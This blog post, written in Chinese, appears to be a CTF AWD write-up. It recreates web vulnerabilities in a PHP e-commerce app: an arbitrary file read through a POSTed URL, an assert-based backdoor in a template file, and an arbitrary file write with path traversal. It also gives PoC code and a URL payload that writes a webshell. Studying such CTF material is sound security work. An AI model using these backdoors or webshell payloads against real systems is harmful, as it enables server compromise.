拿别人比赛的来玩一下,或许这就是菜的力量吧。

0x01 任意文件读取:

 switch ($row['media_type']) {
case 0: // 图片广告
......
break;
case 2: // CODE
$ads[] = $row['ad_code'];
break;
case 3: // TEXT
$ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "'
target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>';
break;
case 4: // url
$ads[] = file_get_contents($_POST['url']);
}

至于调用这个的具体的代码没有发出来所以具体的调用链也没办法写出来,只能简单复现一下。

其实这个测试就不用测试了,太low了可能只是调用链的问题,不然没有难度。

看文章里的URL调用链是这样的

  https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s

需要switch 4的时候才出发漏洞。这里分享一个tips可以通过功能去找到调用链。不用再一个去拼接URL,可能对于我这样的菜鸡还是有点难度。

0x02 官方后门

  官方提示auction_list.dwt文件

  然后通过sublime快速索引这个文件。得到如下文件。

    <div class="con">{:assert($_POST[1])}找到一个马

  至于怎么利用很尴尬,具体文件没发出来,很蛋疼。对了,这个是dwt文件,经过百度科普dwt是网页模板文件。

0x03 任意文件写入mobile/api/uc.php

  有那么一个action数组

 if (in_array($get['action'], array(
'test',
'deleteuser',
'renameuser',
'gettag',
'synlogin',
'synlogout',
'updatepw',
'updatebadwords',
'updatehosts',
'updateapps',
'updateclient',
'updatecredit',
'getcreditsettings',
'updatecreditsettings',
'writesth'
)))

作者说一眼就看穿了writesth是官方留下的后门,或许这就是优秀吧。

我是看不出来。

然后找到了这个函数。

function writesth($get, $post){
$cachefile = $this->appdir .$get['name'];
$fp = fopen($cachefile, 'w');
$s = "<?phprn";
$s .= $get['content'];
fwrite($fp, $s);
fclose($fp);
return API_RETURN_SUCCEED;
}

然后很明显可以看出文件名以及内容都是可控的,但是文件名多了一个$this->appdir。这个无碍,可以通过/../进行跨目录。

然后写了一个测试的代码:

<?php
class test
{
function writesth($get){
$cachefile = "xx".$get['name'];
$fp = fopen($cachefile, 'w');
$s = "<?phprn";
$s .= $get['content'];
fwrite($fp, $s);
fclose($fp);
echo "success";
}
}
$data = new test();
$data ->writesth(array("name"=>"/../shell.php","content"=>"><?php echo 'this is webshell';?>"));
?>

在写shell的时候需要对<?phprn闭合。

什么?怎么写批量脚本?你看哪里有使用到writesth到的不就OK。还是不会写???

  就这样:1270.0.1/index.php?id=t.php?id[name]=./../shell.php&id[content]=?><?php echo "this is phpshell"?>

0x04 一些SQL注入

  注入感觉在AWD中玩的并不是那么顺,大多数应该都是报错型的。套路也就那几个。

某线下赛AWD的更多相关文章

  1. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  2. CTF线下赛AWD模式下的生存技巧

    作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...

  3. 某团队线下赛AWD writeup&Beescms_V4.0代码审计

    还是跟上篇一样.拿别人比赛的来玩一下.  0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...

  4. 2021江西省赛线下赛赛后总结(Crypto)

    2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...

  5. ogeek线下赛web分析1-python-web

    1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ...

  6. Redhat 线下赛 WEB WP

    赛制 给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手 ...

  7. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  8. 线下AWD平台搭建以及一些相关问题解决

    线下AWD平台搭建以及一些相关问题解决 一.前言 文章首发于tools,因为发现了一些新问题但是没法改,所以在博客进行补充. 因为很多人可能没有机会参加线下的AWD比赛,导致缺乏这方面经验,比如我参加 ...

  9. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

随机推荐

  1. 第189天:BOM属性方法

    一.BOM---location 1.访问页面 location.href = "http://www.baidu.com"; location.assign("http ...

  2. BZOJ 2004 公交线路(状压DP+矩阵快速幂)

    注意到每个路线相邻车站的距离不超过K,也就是说我们可以对连续K个车站的状态进行状压. 然后状压DP一下,用矩阵快速幂加速运算即可. #include <stdio.h> #include ...

  3. 题解 P1888 【三角函数】

    堆排序万岁! 小金羊又来水题了 #include <iostream> #include <queue> using namespace std; priority_queue ...

  4. Shell脚本重启Python程序

    # restart.sh old_pid=$(ps ax|grep Service.py|grep -v grep|awk '{print $1}') echo "old_pid=${old ...

  5. TortoiseSVN的基本使用方法

    TotoiseSVN的基本使用方法 来源 https://blog.csdn.net/hecongzhen/article/details/37879801 在 项目管理实践教程一.工欲善其事,必先利 ...

  6. 【BZOJ5319】军训列队(主席树)

    [BZOJ5319]军训列队(主席树) 题面 BZOJ 洛谷 题解 一眼题既视感... 首先很明显,每次询问的结果显然是做一次离散. 然后直接上主席树就好了... 查询答案的方式也很简单 考虑一下那个 ...

  7. 强大工具psexec工具用法简介

    原文链接地址:https://www.cnblogs.com/boltkiller/articles/4791307.html psexec是sysinternals的一款强大的软件,通过他可以提权和 ...

  8. Introducing my blog

    作为一名计算机专业的学生,在我的博客中我会记录以下几方面的内容: 1.在阅读各类专业书籍的过程中,遇到了一些自己通过很大努力才思考.解决出来的问题/知识/概念,我会通过我自己的讲解将这些问题较为全面. ...

  9. redis搭建集群并用TreeSoft管理

    前言:redis作为一款高效的NOSQL数据库已经深入贯彻和落实到我们的日常开发代码中,作为缓存.时间控制.数据仓库.队列等使用方法层出不穷,简直是开写代码.居家旅行之必备良药.曾经,我们的项目都是单 ...

  10. c++多态性详解(转)

    什么是多态? 多态一词最初来源于希腊语,意思是具有多种形式或形态的情形,当然这只是字面意思,它在C++语言中多态有着更广泛的含义. 这要先从对象的类型说起!对象的类型有两种: 实例:Derived1类 ...